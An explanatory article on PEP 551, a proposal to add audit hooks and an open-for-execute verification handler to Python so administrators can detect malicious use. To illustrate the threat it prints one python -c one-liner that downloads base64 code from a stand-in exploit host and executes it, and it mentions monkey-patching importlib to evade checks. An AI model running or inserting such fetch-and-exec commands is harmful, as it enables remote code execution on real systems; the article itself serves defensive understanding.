Python security transparency

As Steve Dower noted in his lightning talk at the 2017 Python Language Summit, Python itself can be considered a security vulnerability—because of its power, its presence on a target system is a boon to attackers. Now, Dower is trying to address parts of that problem with a Python Enhancement Proposal (PEP) that would enable system administrators and others to detect when Python is being used for a nefarious purpose by increasing the "security transparency" of the language. It is not a solution that truly thwarts an attacker's ability to use Python in an unauthorized way, but will make it easier for administrators to detect, and eventually disable, those kinds of attacks.

Threats

In PEP 551 (Security transparency in the Python runtime), Dower described the aim of the proposal: "The goals in order of increasing importance are to prevent malicious use of Python, to detect and report on malicious use, and most importantly to detect attempts to bypass detection." He also posted his first draft of the PEP to the Python security-sig mailing list. In the preface of that post, he gave a bit more detail on where the idea has come from and what it is meant to do:

The kinds of attacks that PEP 551 seeks to address are advanced persistent threats (APTs) that make use of vulnerabilities of various sorts to establish a beachhead inside a network. Often Python is used from there to further the reach of the APT to other systems and networks, generally to extract data, but sometimes to damage data or hardware; Dower mentioned WannaCrypt (or WannaCry) and Stuxnet as examples of the latter. Python provides plenty for attackers to work with:

    python -c "import urllib.request, base64;
               exec(base64.b64decode(urllib.request.urlopen(
	                   'http://my-exploit/py.b64')).decode())"

New API

To combat the problem, Dower is proposing some additions to the Python API to "to enable system administrators to integrate Python into their existing security systems, without dictating what those systems look like or how they should behave". There are two parts to the proposal, adding audit hooks that will be called from certain sensitive places within the Python runtime and standard library, and adding a way to intercept calls to open a file for execution (e.g. imports) to perform additional checks, such as permission or integrity checks, before the operation is performed.

For auditing, there would be calls added to the C and Python APIs to add an audit event to the stream or to add a callback that would be made when an event is generated. For C, it would look as follows:

    typedef int (*hook_func)(const char *event, PyObject *args);

    /* Add an auditing hook */
    int PySys_AddAuditHook(hook_func hook);

    /* Raise an event with all auditing hooks */
    int PySys_Audit(const char *event, PyObject *args);

    # Add an auditing hook
    sys.addaudithook(hook: Callable[str, tuple]) -> None

    # Raise an event with all auditing hooks
    sys.audit(str, *args) -> None

CPython and the standard library would get calls to PySys_Audit() and sys.audit() in multiple locations, while audit hooks would be added by administrators. Multiple hooks can be added and they will be called in the order in which they were added; if a hook causes an exception, any further hooks are ignored and (normally) the Python runtime will exit.

The second API addition allows administrators to add a verification step before Python opens a file for execution. A single verification handler can be registered from C:

    typedef PyObject *(*handler_func)(const char *narrow,
				      const wchar_t *wide);

    /* Set the handler */
    int Py_SetOpenForExecuteHandler(handler_func handler);

    # Open a file using the handler
    os.open_for_exec(pathlike)

The PEP does note that it is easy for attackers' code to monkey patch importlib to remove the verification; auditing hooks should be used to detect and handle that case. In addition, there are other mechanisms that can be used to execute code that does not come directly from a file (e.g. compile(), exec()); auditing those will need to be part of any real solution.

Those new APIs provide the means for an administrator to "look inside" the Python runtime but, in order to be effective, changes need to be made to the Python binary to enable the features. That's where the spython binary comes into play. Though the name is already undergoing some bikeshedding, the idea is to provide an example of a "restricted" Python binary that could be installed on production systems to try to detect or thwart APTs. Dower's GitHub repository that contains his current implementation of the APIs has the source for spython.c.

Recommendations

The PEP strongly recommends that administrators create their own version of the spython program that reflects local policies and priorities. The example program takes no arguments other than a script name and logs all audit events to a scriptname.log file. It restricts importable modules (to only .py files, which disallows using cached bytecode from .pyc files) and global name lookup for the pickle module. It also disallows any hooks being added after those it installs. Spython can be built in the Python source tree and will be used in the test suite, but it will not be shipped with python.org binary distributions; other distributions are expected to only ship it as an example or test binary.

Overall, the idea is to give administrators a new level of control of the capabilities of the Python they install without having to hack the core Python code. Anecdotal evidence suggests that organizations are moving away from Python because it lacks a way to integrate the language with the other security features normally used on their systems. Installing Python becomes a liability in those environments, which makes administrators shy away from it.

The PEP comes with a set of recommendations for administrators to give them a guide of the best practices for using the "security transparency" features it enables. For example:

Other recommendations include using the native auditing system, rather than simply writing local files, not aborting the interpreter for abnormal events since it will encourage attackers to work around those features (because detection is a higher priority than prevention), and to correlate events that should happen together (e.g. import, followed by open_for_exec(), then compile) in order to detect attempts to bypass auditing. The PEP notes that the list is (necessarily) incomplete and that more recommendations may be added over time.

So far, no real performance numbers have been gathered. The intent is for the feature to have minimal impact when it is not being used. Since it is an opt-in feature, though, the performance with hooks enabled is not really at issue (though one presumes it will be reasonably optimized). "Preliminary testing shows that calling sys.audit with no hooks added does not significantly affect any existing benchmarks, though targeted microbenchmarks can observe an impact." Another unfinished piece is to add more hook locations to the core and standard library.

Reception

The comments on the proposal have been fairly limited, but are quite favorable overall. There were some suggestions and thoughts in response to the first posting in the security-sig mailing list. The PEP was then updated and posted to python-dev for wider review. In the end, the PEP really only provides a way for administrators to look inside the interpreter, what they do with that ability is largely beyond its scope. But it does enable administrators to relatively easily do something they cannot do now.

There were concerns posted in both threads about circumventing the auditing (or forging audit events), but both of those are seen (by Dower, at least) as potential red flags for detecting the malicious activity. However, moving to a separate module (rather than using sys), as suggested by Nick Coghlan, was seen as making it too easy to replace the functionality. As Dower put it:

James Powell, who did a lot of initial research and implementation of the feature, also chimed in:

Adding the feature seems like a near no-brainer, unless some serious performance or other problems rear their head—not a likely outcome, seemingly. So far, there has been no reaction from Guido van Rossum, Python's benevolent dictator for life (BDFL), but he will ultimately either rule on it or appoint a BDFL-delegate to do so. It is quite plausible we will see PEP 551 delivered in Python 3.7, which is due in mid-2018.